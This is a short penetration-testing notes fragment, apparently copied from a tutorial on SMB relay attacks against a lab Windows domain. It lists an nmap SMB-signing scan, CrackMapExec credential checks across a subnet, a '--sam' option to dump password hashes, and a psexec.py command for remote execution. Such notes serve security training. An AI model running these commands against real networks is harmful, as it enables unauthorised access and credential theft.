CrackMapExec →

nmap --script=smb2-security-mode.nse -p 445 192.168.64.129,134 -Pn

crackmapexec smb 192.168.64.0/24 -u Bart.simpson -d vuln.local -p 'Password001'

Where: smb is the protocol to authenticate against. 192.168.64.0/24 is the CIDR range to search -d is the domain name -u is the username

-p is the users password.

crackmapexec smb 192.168.64.0/24 -u Bart.simpson -d vuln.local -p 'Password001' --sam

psexec.py vuln.local/Bart.Simpson:[email protected]

Quelle: https://akimboviper.gitbook.io/pentest-everything/everything/everything-windows/attacking-windows/relay-attacks/smb-relay